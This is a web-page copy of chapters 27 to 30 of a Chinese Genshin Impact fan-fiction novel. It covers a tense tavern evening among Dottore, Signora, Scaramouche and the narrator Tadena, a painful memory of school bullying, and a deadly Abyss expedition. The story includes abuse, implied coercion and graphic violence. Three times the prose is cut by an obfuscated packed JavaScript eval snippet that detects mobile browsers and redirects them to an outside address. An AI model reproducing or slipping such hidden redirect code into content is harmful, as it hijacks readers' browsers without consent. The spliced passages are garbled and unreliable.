之前就听说这附近的治安水平一般,如今倒是见识到了。 我朝旁边挪动一步,那醉汉以为我要走,便伸手来抓我,嘴里还说着:“想走?小美人,进了这轻易可出不去。” 我稍稍侧身躲过那只脏手,抬脚在那人肥厚的腹部上狠狠一踹,那醉汉“哎哟”一声摔倒在地上。 这一脚我用了十成十的力量,直踹得那肚子凹陷下去一处,好久恢复不过来。 我估计了一下,应该能断几根骨头,让他短时间起不来,也不至于伤了性命。 那醉汉捂着肚子,连坐起来都做不到,便扯着嗓子哀嚎。 “你……你不识抬举也就算了,怎么还打人?哎哟,疼死我了,你等着吧,这仇我记住了,我要报官抓你!” 我推开门,朝外面等候的愚人众士兵招了招手。 一个火枪走进来,恭敬地朝我鞠躬。 “大人,有什么吩咐?” 酒馆在愚人众出现的那一刻安静下来。 那醉汉脸上的血色一下子褪去。 我指了指地上那滩肉。 “蓄意挑衅,抓走,按规矩处理。” “是,大人。” 碍事的东西很快被清理走。 我理了理有些乱掉的袖口,将手腕遮紧实,然后才从口袋里抽出【女士】给我的信。 “找人。地方在哪里?” 从刚才起就保持着一副微笑,旁观着的老板依然维持着他脸上那似乎永远不会改变的,热情的笑容。 他接过信封,声音依旧高昂。 “好嘞,尊敬的客人,您的房间在二楼,这是钥匙,祝您能拥有一个美好的夜晚!” 我接过钥匙,瞥了老板一眼。 “您这酒馆,倒是热闹,还很特别。” “哈哈,瞧您这说的,‘太阳底下无新事’,鄙人的酒馆,也只是如同千千万万个其他的酒馆一样,毫无特殊。” 老板笑着向我微微弯腰。 我摩挲着手中古铜色的钥匙,不再回话,穿过一众惊恐的眼神,从酒馆正中央的旋梯上了二楼。 打开房门的时候,在里面看到了三道完全不应该出现在一起的身影。 我拉开门的手一僵,恨不得立刻关门走人。 但来不及了,这样的动静,里面的人不可能不会注意到。 【女士】扭过头,看到我的时候脸上的神色多了些愉悦。 她放下酒杯,撑着头看我。 “可算来了,我可等了你好半天。快进来啊。” 【女士】的不远处坐着斯卡拉姆奇,他的脸色很一般。 他抬头看了我一眼,有些不耐烦:“来了就快点进来把门关上,外面吵得要死。” 【女士】哼了一声:“嫌吵的话还留在这里干什么?这里可是酒馆,想要安静的地方不如在家里好好待着。” 斯卡拉姆奇气得把手里的酒杯用力地砸在桌子上。 “哈?你以为我很想来吗?要是早知道这家伙会来,我死都不可能靠近这破地方!” 他口中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14875973|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的“这家伙”指的是一旁悠哉游哉摇晃着酒杯的多托雷。 “斯卡拉姆奇,安静点,这里面恐怕最聒噪的人就是你了。” “你以为到底是谁的原因?呵,没被邀请的家伙还倒打一耙,真是好笑。” “连【女士】都没对我的到来发出不满,你又在生气什么呢?” 【女士】呵呵一笑,摆了摆手:“我只是看在塔德纳的面子上而已。别把我拉到和你同样的战线。” “好吧好吧,真可惜,看来我注定是那个‘不太受欢迎的人’。”多托雷笑起来,声音低沉。 斯卡拉姆奇啧了一声:“你知道就好。” 多托雷不再接话,只是将视线转向我。 “进来吧,塔德纳。”他的声音温柔,似乎是喝了酒,语调有些轻,“你的朋友们正在等你呢。” 我有些毛骨悚然。 斯卡拉姆奇对多托雷相当看不顺眼:“什么朋友,喝多了别在这里说胡话。” 多托雷轻笑:“别这样,斯卡拉姆奇,你这样冷酷的态度,塔德纳会伤心的。” 斯卡拉姆奇扶了扶自己的帽子,将脸遮住。 我看到多托雷朝我伸出手,招了招,像在招一只宠物狗一样。 “进来。”他说。 我低着头,反手将门关上,恭顺地走到多托雷身边。 “主人。” 斯卡拉姆奇露出一脸牙疼的表情。 【女士】的表情也不遑多让,她敲了敲桌面,语气有些不太好。 “先说好,既然是我请客,那今晚这里不管席位,全都是我做主。”她看向多托雷,“”就算是你,太扫兴的话我也会把你赶走的。” 多托雷语气如常:“自然自然,放心吧,我想我亲爱的副官应该会允许我加入今晚的酒会的,对吗?” 三道目光齐齐落在我的身上。 我:“……” 我:“对的对的。” 无论如何,总算是顺利坐下来了。 【女士】和斯卡拉姆奇都不想靠近多托雷,所以最后只能是我坐在多托雷旁边,隔开他和其他人。 虽说是单独的房间,但灯光也不算太明亮,我低头,手放在桌子底下,开始发呆。 那边【女士】似乎在和斯卡拉姆奇争执着什么。 我想要听一下他们的说话内容,但很快思绪便被打断。多托雷在我面前放下一杯酒,不知何时离得我非常近,双腿紧邻。 我感受到那布料下的肌肉,轻轻抖了一下。 多托雷轻笑一声,似乎被我的反应逗笑了。 “尝尝?”他伸手将酒杯推得离我更近。 我犹豫着开口:“我不会喝酒。” “不会喝酒还瞒着我跟别人来酒馆?”多托雷如此说。 不是愤怒或者其他,反而有一点调侃的意味。 我总觉得今天的多托雷有些奇怪。 和平时很不一样。 硬要形容的话,是我没有见过的多托雷。 但这也很正常,毕竟我和多托雷相处的岁月,细究起来的话,其实只是很短的一段时间。 抛去昏迷的部分。 “抱歉……”我有些心虚。 多托雷摇头:“没有必要。今天我能来这可还是沾了你的光。” 他伸手,手掌盖在酒杯上,没有戴手套,那骨节分明的手指就在杯沿滑动着。 他举起酒杯,靠在唇边喝了一口,隔着面具我看不到他的表情,只能看到那喉结轻微的滚动。 酒杯被放在我俩之间的地方。 他说:“酒精是很不讲理的东西,它能抑制大脑的中枢神经系统,让人感受到类似于‘迷幻’和‘麻痹’的状态,无法做出正确的判断。” 我问他:“那您也会有这种感觉吗?” 多托雷笑了一声,他低头附在我耳边,声音很轻,带着点酒气,右耳的耳坠在我眼前晃荡着。 他问我:“你要来自己验证一下吗?” 我忍不住抓紧腿上的布料,心犹如鼓点般躁动。 那声音还在我的耳边回响着,温柔地引诱。 “你也总是会让我控制不住地做出一些‘不那么正确的事情’,来验证一下吧,塔德纳。” 28. 第 28 章 我的脸一下子爆红。 那声音明明那么轻,那么温柔,对我而言却像是一道惊雷从天灵盖儿劈到了我的身上。 我有些晕乎乎的,整个人像是发狠地转了三百圈,停下来的时候头晕眼花,整个世界都在眼前旋转着。 我突然感到一阵难耐的口干舌燥,下意识地端起桌上的杯子,一饮而尽。 …… 好像没啥味儿。 我舔了舔嘴唇。 杯子落在桌上的时候发出极大的一声响。 【女士】和斯卡拉姆奇都看过来。 【女士】看到我手里变得空荡荡的酒杯,挑了挑眉,看向多托雷。 “你给他喂酒了?” 多托雷将我的指头一个个掰开,把酒杯解救出来,又慢悠悠地给自己倒了一杯,靠着那仍然湿润的地方轻抿一口。 “他自己喝的。” 我听到他的声音,猛地抬头,对【女士】狂点头。 【女士】:“……” 【女士】:“你给他喂了多少?怎么感觉脑子都不好使了。” 多托雷伸手比了很小的一段距离:“就这么多,还是你带来的那瓶酒。” 【女士】难以置信:“真的假的?你不会在骗我吧。塔德纳酒量有这么差?” 我一把抓住多托雷的那只手夹在胳膊下面,把那微小的指间距离“哗”地一下拉大。 “你胡说,明明有这么多。你别欺负我,我第一次喝。” 那两指的距离比一整个酒杯的高度还要高不少。 多托雷也不反抗,微微倾着身子,只是笑盈盈地看着我。 【女士】扶额:“好吧,看来是醉得很了,连你都不怕了。” 斯卡拉姆奇冷笑:“这么点酒就醉了,真是废物。” 我生气地松开多托雷,转头去扒他的帽子。 “等等……你干什么!给我住手!啧,别以为你醉了我就不敢动手!” 斯卡拉姆奇和我纠缠起来,他伸手推我胸口,我就扯他帽子后面的帘,斯卡拉姆奇要护着自己的帽子,一时之间挣脱不开我。 “多托雷!管一下你家的疯狗!” “好吧好吧。稍微礼貌点,斯卡拉姆奇。” 我被拽着后领拉起来,手里还抱着斯卡拉姆奇那顶巨大的帽子。 斯卡拉姆奇:“我的帽子!” 我紧了紧怀中的东西。 多托雷将我放在原本的位置,伸手拿我手里的帽子。 “听话,塔德纳。”他说,“把它还给离开了帽子就无法生存的可怜人偶吧。” “多托雷!” 我不想失去怀里的东西,这样抱着一个东西能让我感受一种安心感。但我又不想伸手阻拦,因为这样我就无法双手怀抱帽子。 于是我低头,一口咬在帽子上的那只手上。 …… 好硬! 嘶……这手指,竟然如此坚硬! 此子断不可留! 多托雷轻笑一声。 但很可惜我只有一张嘴,而卑鄙的敌人竟然同时拥有两只手! 这是多么可悲,多么令人不忿的一件事! 多托雷用另一只手扒开我紧紧抓住帽檐的手,守护帽子偶遇多托雷,力气大还会偷袭我腰上的敏感处,拼尽全力无法战胜! 再见了,我亲爱的帽子。 我悲伤地目送帽子离开。 斯卡拉姆奇似乎很怕我会再次抢他帽子,扛着帽子躲得远远的。 我:目光幽怨。 斯卡拉姆奇炸毛:“你那是什么眼神!这本来就是我的帽子,你想要自己买一个不就好了!” 【女士】轻笑:“好了,你和塔德纳计较什么,他喝醉了现在什么都不知道。” “站着说话不腰疼!” 【女士】佯装惊讶:“怎么会?我明明是坐着的才对。” 嘴里的手指动了一下,指腹擦过我的舌面,后背靠上紧实的肌肉。 “多看看我,塔德纳。”多托雷的声音犹如喟叹,“不要把你的视线落到其他人身上。” 【女士】:“……拜托,我还在场,我不是死人。” 斯卡拉姆奇毫不留情:“恶心!” “抱歉,忘了还有你们。”多托雷嘴上说着抱歉,语气可没有一丝抱歉的意思。 他把手拿出来,扶着我的身体让我面对他靠在他肩上,揉捏着后颈的软肉。 “或许你们可以识相一点离开,不是吗?”他微笑。 【女士】双手交叉抱胸:“如果我没记错的话,最开始的不速之客好像是你才对。” 多托雷:“形势总是在变化的。很显然现在多余的是你俩。” 【女士】选择背过身去。 “我还没喝够。你们继续。” 斯卡拉姆奇坐在遥远的角落喝茶。 我将自己的重量全部放在多托雷的身上。晕眩的感觉开始爬上我的大脑,我感觉自己的呼吸都是炙热的,手脚发软。 多托雷蹭着我的侧脸和脖子,面具偶尔剐蹭,很不舒服。 我想要推开他,但使不上力。 多托雷在我耳边问我:“刚才有人骚扰你?” 我下意识皱了皱眉。 “讨厌……讨厌那些人。”我呢喃着,意识如同滚热的米粥一般。 那声音循循善诱:“遇到讨厌的人要怎么办?” “打跑他们……” 那声音似乎又嫌不够,捏着后颈肉的手稍稍用力。 “打跑了,然后呢?” “然后……然后?” 我想不出来。 那后颈的手还在用力。 我有些疼,带着点哭腔,含糊地说:“我不知道……主人,我不知道,你告诉我吧。” “杀了他。”那声音带着浓浓的恶意,“那是欺辱过你的人,做过很多坏事,是这里的惯犯,即使杀了他,也不会对你那纯白的灵魂造成影响,不是吗?” 我的脑袋一懵。 声音还在继续:“他既然欺负过你,就应该付出足够的代价,不是吗?” “但……但他已经被抓走了。” “不,那还远远不够……你应该亲自杀了他,就像……” “你在干什么?多托雷。”人偶突兀地出声。 他不知何时来到这附近,脸上的表情冰冷且嫌恶。 “只是在教导我亲爱的副官一些必要的事而已。”多托雷笑声莫名,“被欺负了就该还手,这不是很正常吗?” “你别以为我没有听到你刚才的话,你明明是在……” “斯卡拉姆奇。”多托雷的声音骤然冰冷。 “我对你的耐心很有限度,不要挑战我的底线。” “哈?人渣也好意思说自己有底线?” “总比没有心的人偶强。” “你!” 人偶! 我突然挣脱开多托雷,挡在他和斯卡拉姆奇的中间。 我突然想了很多,在这一瞬间,即使脑袋徘徊在清醒和完全的混沌之间,如同尖刀扎入不停搅动一般刺痛。 我想起很多回忆,那些我会独自回味的,让人遗憾酸涩的回忆。 我好像又回到了踏鞴砂,回到了活力之家,回到了须弥的森林。 那些所有卑劣的时刻,所有痛苦的时刻。 脑袋里的刺痛和那晚被掐住脖子,要被置于死地的痛苦重叠起来。与那狠厉的威胁,被喂入药粉的痛苦重叠起来,还有那晚的强迫,被强硬撑开的身体…… 最终落到面前的脸上。 我咬牙,我似乎说了什么,但我没什么感觉,只知道斯卡拉姆奇和【女士】都脸色怪异地看着我。 多托雷似乎愣了一下。 这几乎是不可能在他身上看到的情况。 紧接着,他笑起来,像是从牙缝里挤出来的笑意。 多托雷怒极反笑。 骂道:“真是养不熟的狗。” …… 宿醉的感觉实在是过于糟糕了。 等我不知道何时恢复神智的时候,我只能感受到脑袋一抽一抽地疼,肩膀也疼,胳膊也疼,身上无一处舒服的地方。 我睁开眼,恍惚了很久,才认出自己还在酒馆的房间,整个人直直地躺在软包的长座上,似乎是被人强硬地捋直了摆上来的。 熹微的日光透过窗户照在我脸上。 我这才意识到,天都已经亮了。 “你醒了?”斯卡拉姆奇那张妍丽的脸出现在我的视野里。 我撑着靠背坐起来,眼神扫视一圈昏暗的房间内。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14875974|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别找了,这里就我俩。那个女人不久前刚走。”一杯还冒着热气的茶水被放在我面前的桌子上。 “至于多托雷,呵……”斯卡拉姆奇的语气上扬了一点,带着点高兴的意味,“真是少见,那个家伙竟然会露出那么失态的一副样子,连告别都没有就气急败坏地回去了。实在可笑。” 他看向我,不似之前的疏远与冰冷,但也称不上友好,只是很复杂,好像还带着点怪异。 他说:“既然你醒了,那我也没必要再继续守着你了。我要走了。” 我总感觉自己似乎忘记了一些什么事情,但是头疼得很,也没什么心情思考,下意识地拽住那只快要被收回的手。 那纤细的手指颤抖了一下,似乎是在极力忍耐着要甩开我的手。 “等等……” “……还有什么事?”人偶语气有些不耐烦。 “我……我干了什么?” 人偶停下脚步,从上到小将我打量了一边,那蓝紫色的双眸闪烁了一下。 “你不记得了?” 记得什么…… 我记得自己似乎好像是紧张拿错了杯子,一不小心喝了酒,之后的记忆…… 我记得自己好像对多托雷很没大没小地动手,还似乎去抢了斯卡拉姆奇的帽子,在之后…… 更多的记忆如同零碎的片段一样,飞快地从脑海里飞过,但却抓不住重点。 但我依稀记得有很重要的事情必须要记得。 斯卡拉姆奇等了很久也没等到我的答复,便只好先开口:“你还记得自己对多托雷说了什么吗?” “说了什么?”我扶住额头,耳边似乎能听到心脏在胸腔内不断搏动的声音。 “你说……啧……为什么偏偏是我留在这里跟你说这些……”人偶叹着气,有些别扭地甩开那只冒着冷汗的手。 他酝酿许久,像是终于说服了自己,装作一副毫不在意的冷漠语气。 “你说,‘不准欺负人偶’,还让我不要害怕……真是好笑,你连自己都要看着那家伙的脸色保全性命,还说出这种莫名其妙的话,真不知道你是怎么想的……” 我的脸色“唰”一下变得惨白。 “你……你,”斯卡拉姆奇似乎也在和自己的内心做着激烈的争斗,“算了。我们都知道你只是喝多了说胡话而已,不过多托雷那家伙好像特别生气,你,自己注意点。” 那双蓝紫色的眼睛飞快地在我身上掠过一眼,然后收回。 “实在需要帮助的话,也可以来找我。先说好,我只帮你这一回。” 我已经快听不清楚斯卡拉姆奇的话了,耳边嗡嗡的像是有一百只苍蝇。 记忆恢复了一点,虽然不多,但已经足够让我恨不得把自己就掐死在这里了。 至少比落到多托雷手上好过。 我浑浑噩噩地婉拒了斯卡拉姆奇,得到了一句沉默良久后咬牙切齿的“不识抬举”,然后浑浑噩噩地下楼,浑浑噩噩地坐上车,回到住所。 等我下车,呆站在门口,盯着那门把手,犹豫着要不要开门。 但我最终还是决定开门。 主要是因为外面太冷了,还下着很大的雪,我忘了拿回我的披风,冷风一吹便直往我领口里面灌。 在握上那冰冷的门把手地一瞬间,我的脑海里闪现过去很多可能的死法。 被掐死,被活生生地解剖成切片,甚至是被强迫着自己动手…… 但是…… 什么都没有…… 打开门的一瞬间,屋内仿佛和室外一样的冰冷,既没有开灯,也没有烧壁炉,更不要提有任何人的存在。 我在门口站了很久,久到屋内靠门的地毯都被吹进来的风雪浸湿了,才不得不接受了眼前的现实。 多托雷不在。 甚至没有回来过的痕迹。 我不知道自己现在的情绪如何。 或许我应该是高兴的才对,或者庆幸,毕竟多托雷不在,我便可以免于自己脑海中的那些胡思乱想。 但我又莫名其妙地想起昏暗的灯光下,那摇晃在我眼前的蓝色试管,以及那温柔着拉长的低语。 无端令人躁动。 我拖着身体进了屋子,有些自暴自弃地将自己摔在沙发上。 窗外的天色愈发明亮起来,惨白而无温度。 29. 第 29 章 "……这次的任务大概持续半个月,你不要到处乱跑,也不要单独行动,没有作战能力就好好待在后方……喂,你有在听吗?" 人偶带着明显不耐烦的声音将我的思绪唤回。 我在心里叹了口气,低头对上斯卡拉姆奇那双带着审视的眼睛。 “我在听,斯卡拉姆奇大人……抱歉,我刚刚走了一点神。” “你最近很奇怪,塔德纳。”【女士】走过来。 这位火之魔女还是那副平时的打扮,嚣张而显眼。 “之前和你对接的下属跟我说你经常会在和别人对话的时候走神,你以前从不这样的。还在耿耿于怀之前的事情?” 我忍不住扶额。 “抱歉,【女士】大人,我会注意自己的状态,不在这次任务拖后腿的。” “我不是这个意思。” 【女士】长叹了一口气:“早知道会变成现在这种情况,当初就不该答应让【博士】也加入进来。” 我抿了抿唇,脑海里想起那些记忆的片段,想起多托雷那难得一见,几乎不可能出现在他身上的,那一瞬间的怔愣,脑袋突突地跳着疼。 我摇了摇头:“都是我的缘故。” “不必着急揽责,说到底也是我不该把地方选在酒吧,你的酒量那么差劲。不过【博士】似乎并没有计较什么,至少我没有听到过什么这方面的内容。说起来,最近好像都没看到过【博士】。” 我露出一个苦笑。 “不只是您,我也几乎没见到过主人。主人似乎在进行一个很关键的实验,所以最近要么出去寻找灵感了,要么待在实验室一个人做研究。” 我想起前两天去实验室找多托雷征询【富人】前来询问的计划进展时,被拒之门外的事情。多托雷只是让人告诉我让我接手这件事,并没有让我进去。 “其实这样的情况倒也不是特别少见……我在实验研究上一窍不通,主人也不会每次在进行试验的时候让我旁观。但我只是……但我只是……” 我垂眸,看着脚下被踩踏多次印着各式脚印的雪地,那褐色的,被泥土浸染的雪。 “我只是……有些无法说服自己而已……” 【女士】不明所以。 “说服什么?” “所有。无论主人是什么样的主人,他在众人口中的评价是‘疯子’也好,‘怪物’也好,我与主人的观念纵有那么多从根源上算起的分歧。但我确确实实是在没有‘前提’的情况下,在那样的情况下,表达出对他的‘提防’和‘厌恶’。” 【女士】的表情突然变得怪异。 她似乎哽咽了一下。 【女士】试探性地说道:“或许,你有没有想过,我是说或许,你确实应该‘提防’和‘厌恶’他?” “啊?”我疑惑地抬头看向【女士】。 “可是,可是对别人有这样的情绪是不好的啊。即使别人讨厌我,我也不能将同样的负面情绪发泄在别人的身上。这不是一件好事。” “难道这不对吗?” 我反问。 【女士】的表情更怪异了。她看着我的眼神仿佛是在看一个误入歧途的大好青年一样。 “不……”她斟酌了一会儿,但又突然像是自暴自弃似地放弃了思考。 “不如说完全不对吧!你怎么会有这种想法?” 我很认真地思索了一会儿。 “可是,我一直所受到的教育就是这样的。” 我想起读中学时很小的一件事。 那个时候的我已经十几岁了,但是身高依然很矮,也不爱说话,加上头发比较长,就自然而然地被当成“阴郁的怪家伙”而被排挤。无论是桌子里被故意塞进虫子老鼠,还是书本被故意划烂。 那个年龄段所能经历到的,来自同龄人的暴力,我似乎都经受过。来自少年人的恶意几乎不加掩饰,也毫不保留。 但我只是保持沉默,沉默地接受这些,也不敢告诉家里人。 因为我想继续做一个那些长辈眼里的“安静的乖孩子”。 我以为只需要等到毕业,大家分道扬镳的时候就能够彻底结束这场贯穿我整个少年时代的噩梦。但是我还是高估了我自己的承受能力,我没能忍到那一天。 我被围在人迹罕至的角落里,被拳打脚踢,而我只能用瘦弱的胳膊抱住自己的脑袋被动防御。那些人打完了不过瘾,还要把我推进垃圾堆里,把我的头按进那堆各式各样,散发着难闻气味的污物里。 我还记得我那天才得到了新的衣服,是母亲为我亲手纺织的。 这件衣服对我意义重大,我也很珍惜,连穿上的时候都小心翼翼,生怕动作大了把衣服撑得稍微变形。 所以,在我人生中的唯一一次。 我还手了。 如同被割断喉咙放血的牲畜,发出嘶鸣着的怒号,我和那些人扭打起来,虽然以一敌多,但我打起来不要命,那些人也压根没想到欺负了这么久的老实受气包敢还手,被我狠狠地揍了一顿。 虽然我自己的情况更加糟糕。 身上到处都是血,衣服也被划破了好几道口,两只眼睛都肿得看不见路。 我哭着回到家里,连当天的课都翘了,向父母哭诉我的遭遇。 我本来以为会得到些许安慰。 但是父亲训斥了我一顿。 “如果不是你有哪里没做好,那些人怎么会来欺负你呢?退一万步,别人讨厌你,欺负你,你就也要用这种方法对待别人吗?你不是也知道‘欺负和讨厌别人’是不对的事情吗?如果你平时对其他人好一点,他们又怎么可能会这么对你?” 我跪在地上接受父亲的教诲,连哭泣也不被允许。 而母亲,只是懦弱地坐在一旁,手里拿着那件刚穿上不到一天便不成样子的衣服,默默抹着眼泪。 我记得母亲为了这件衣服熬得眼睛都花了。 我感到迷茫且无力。 只是自那之后,我变得更加沉默寡言,拼命地减少着自己在人前的存在感。 我害怕被别人讨厌和欺负,但讨厌和欺负别人都是不对的事情。所以我只能尽力避免冲突。 “要遵守社会通行的道德原则。不可以过分冷漠,不可以胆小怯懦,要与他人为善,不可以主动为恶。即使……”我停顿了一下。 “即使别人讨厌我,对我做出不好的事情,我也不可以对其他人这样做。” 周围一瞬间陷入了完全的沉默。 过了很久,斯卡拉姆奇发出一声嗤笑。 “胡说八道的东西。” 【女士】止不住地叹气:“真是搞不懂,怎么会有人有这样的想法。你自己呢?问问你自己,你真的觉得这些都是正确的吗?塔德纳。” “难道与人为善是错误的事吗?” 我迷茫。 “不,我说的不是这个。”【女士】咬牙。 “我现在算是知道你怎么受得了【博士】那个家伙了。可怜的塔德纳,你的身边真的有接触过正常的人吗?” 我更迷茫了。 “啊?主人除了研究的方法和理论比较过激,不太会和别人相处之外,也挺正常的吧。虽然我偶尔也会觉得主人的一些想法简直不是正常人能想到的,但是能在一个领域做出特别成就的天才,似乎都会有一些怪癖。况且……” 我看向面前一高一矮的两人。 “【女士】大人和斯卡拉姆奇大人不就挺好的嘛?” 【女士】:“……” 斯卡拉姆奇:“……” 斯卡拉姆奇:“恶心,别扯上我。” 我看到那双紫眸里流露出的熟悉的嫌恶,缩了缩脖子。 但我很清楚如今的人偶依旧是那个倾奇者,他只是浑身长满了刺,不愿意相信别人,也不愿意接受别人的相信。 【女士】苦笑了一声。 “算了,你这个样子,在那个家伙身边,说不定也算一件好事。” 不远处传来号角齐响的声音。 那声音层次渐进,震得仿佛地面都在颤动。 【女士】稍微直起身,神色也变得严肃了些许。 “好了,心理辅导时间结束,两位。”她说,“该出发了。” 斯卡拉姆奇扶了扶自己的帽子。 我也紧了紧袖口,确保手腕都遮得严严实实,然后戴上兜帽。 与上一次和【队长】一起进入深渊的过程一样,斯卡拉姆奇和【女士】都是这次的指挥官,但两人之间以身为执行官的【女士】为尊,愚人众士兵集结起来,整齐地向着深渊进发。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14875975|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 我注意到这次的愚人众士兵里有不少佩戴了改进了几版后的邪眼的士兵,只是数量不算多。 在将要进入深渊之内的时候,我听到模糊的,似乎在呼喊我的名字的声音。 “塔德纳大人……塔德纳大人……” 我停下脚步,回头。 是一个熟悉的人,我记得他的名字,是叫“马克西姆”,那个新人。 不过最近似乎有听闻对方升职的消息。总算不再是只跑腿的小卒。 “有什么事吗?”我问他。 马克西姆喘着粗气。 “哈……塔德纳大人,【博士】大人让我把这个交给您。” 他递给我一个盒子。 我打开,里面是一枚火系的邪眼。但似乎又有些不同,好像更加精致一些。 我愣了一下。 马克西姆焦急又害怕地看了看周围黑压压的愚人众士兵,以及不远处虎视眈眈盯着他的执行官和人偶。 语气有些颤抖。 “塔德纳大人,东西我已经送到了,那我就不打扰您的任务了。我先告退了。” “等等。”我扯住他的手臂,“主人他,有说什么吗?” 马克西姆苦着脸,一副想说什么又不敢说的样子,最后闷闷地说:“没有。” 我松开他,看着那道猥琐的身影狼狈地在士兵之间穿行着,很快消失了踪影。 我将盒子里面的邪眼拿出来,手指轻轻滑过那红色的,铭刻着鸟嘴面具图案的表面。 还能感受到火元素微微溢出的一点暖意。 【女士】看到邪眼,表情一般。 “【博士】不会是想要你当实验样本吧?据说现在的邪眼还很不稳定,虽然在小范围内举行了实验,但说得不好听点,那些人不过是注定会被牺牲的实验样本而已。” 【女士】的视线从那些佩戴着邪眼的愚人众士兵上划过。 我想起之前实验里的那个少年,心里微微一沉。 “这些士兵,也会被邪眼反噬,然后失去生命力吗?” “谁知道呢?或许会,或许不会,结果可能只有【博士】才知道。但是为了改进邪眼,为了至冬,为了女皇陛下,这些都是必要的牺牲。” 我叹了口气。 “与其关心别人。”【女士】看向我,“你不如多关心关心你自己,塔德纳。你真的没问题吗?” 她指了指我手中的邪眼。 我握紧拳头,邪眼的轮廓硌着我的手心。 “不用担心我,我的话,邪眼大概对我没什么影响。” 邪眼会使普通人的身体损耗加剧,过度使用则会让普通人的身体越来越弱,甚至是寿命减少。 但我的身体里有着那样一股神奇的力量,在邪眼对我的身体造成损耗的同时,这股力量也会修复我。 虽然可能会带来少许的不适,但对我本身,几乎没有什么负面影响。 我露出一个安抚的笑容。 “这样的话,我也能算一份战斗力了,虽然帮不上什么忙,也不至于拖大家的后腿。” 斯卡拉姆奇瞥了我一眼,目光落到邪眼上的时候尤为嫌恶。 他冷笑:“呵,拙劣的仿制品罢了,【博士】身为一个凡人,到底也只能做出这种折损巨大,得不偿失的东西。” 【女士】抱胸:“哦?看来被神抛弃的造物有另外的杰出见解?以至于这种能让普通人使用元素力的发明都不屑于入眼。” 斯卡拉姆奇身边的气场骤然冰冷。 他眯了眯眼,语气中带着浓烈的杀意。 “你有本事再重复一遍那个称呼?” 【女士】挑衅地一笑:“这有什么不敢的,我难道有说错什么吗,不就是……” 我急忙拉了一下【女士】的手臂,把自己塞到两人中间,隔绝二人激烈交锋的视线。 “两位大人,消消气,消消气。” 斯卡拉姆奇很大声地啧了一下。 【女士】也冷笑地“呵”了一声。 但总算没继续吵下去。 接下来的很久,【女士】和斯卡拉姆奇陷入了长久的冷战,我站在这两个人中间,时刻注意着两人以免他们吵起来。 我有预感,这份看似简单的工作可能并不会那么轻松。 30. 第 30 章 不止一次,在我漫长得看不到尽头的生命中,我梦见那只带着鲜血的双手,无力地在我眼前垂落。 如附骨之疽的噩梦,让我不能安眠。 我抱起一条大腿被扭断的人偶,狼狈地想要站起来,却忘了自己右手那沉疴的痂痕,难以用力,又再一次连带着人偶一起摔到地上。 斯卡拉姆奇咬着牙。 他伤得很重,我从未见过这样严重的伤,手臂断裂了一半,身上也有大大小小的伤口,血流得不多,但我猜想那是因为人偶的特殊体质。 我难以想象,人要如何在这样严重的伤势下存活。 斯卡拉姆奇不是人,是人偶,所以活下来了,但他感受到的痛苦似乎并不会因此减少半分。 我从那张再次见面后总是保持着冷漠和高傲的脸上看到几分隐忍的痛苦。 斯卡拉姆奇说:“放开我!我自己能站起来!” 但他也只能嘴上说说,因为他的关节实际上都受伤很严重,根本没办法用力。 我将人偶的一条胳膊架过我的肩膀,然后撑着那比我稍矮一些的身体站起来。 这次进入深渊的首次任务非常顺利,或者说,开头几天是这样的。 在持有邪眼的愚人众士兵的战力加成下,兵力十分充足,更不要说还有【女士】这位执行官,以及完全解开了力量的斯卡拉姆奇在。 但谁也没想到意外会就此突然发生。 不,如今再思考,或许早已有了征兆。 从进深渊开始就格外活跃的深渊魔物,以及,使用邪眼后身体开始逐渐出现不适状况的愚人众士兵。 最开始只是以为运气不好,碰上了魔物比较活跃的时候。 可是后来,魔物越来越多,也越来越强大,与其说是偶然汇聚,不如说是…… 魔物被什么东西吸引过来了。 一天要抵御好几波深渊魔物的侵袭,这样的频率根本不是正常的。 即使是身强体壮,训练有素的愚人众士兵,在如此频繁地使用邪眼之后,也比预计之内的更早发生了身体的崩溃。 综合考虑当下的情况,斯卡拉姆奇和【女士】决定提前结束此次的任务,在事态彻底失控之前结合队伍,离开深渊。 但可惜还是晚了。 不过是一个晚上的时间,临时驻扎的营地便被数量庞大的魔物包围了,数量之多,令人毛骨悚然。 即使是身处于后勤的我也不得不拿起那枚火系的邪眼,抵御凶残的魔物进攻。 邪眼不是万能的,执行官不是万能的,死亡几乎每时每刻都在发生。 我看见【女士】和斯卡拉姆奇在前方带领士兵冲锋,但从后面包围而来的魔物依旧有一部分冲破了防线,来到安放伤员的营地,撕咬杀戮着。 我看见昨天晚上还在炫耀出征前向暗恋多年的女孩表白成功的小伙子被恶兽咬上,身体被从中间活生生撕裂开,至死脸都还保留着恐惧和惊惶。 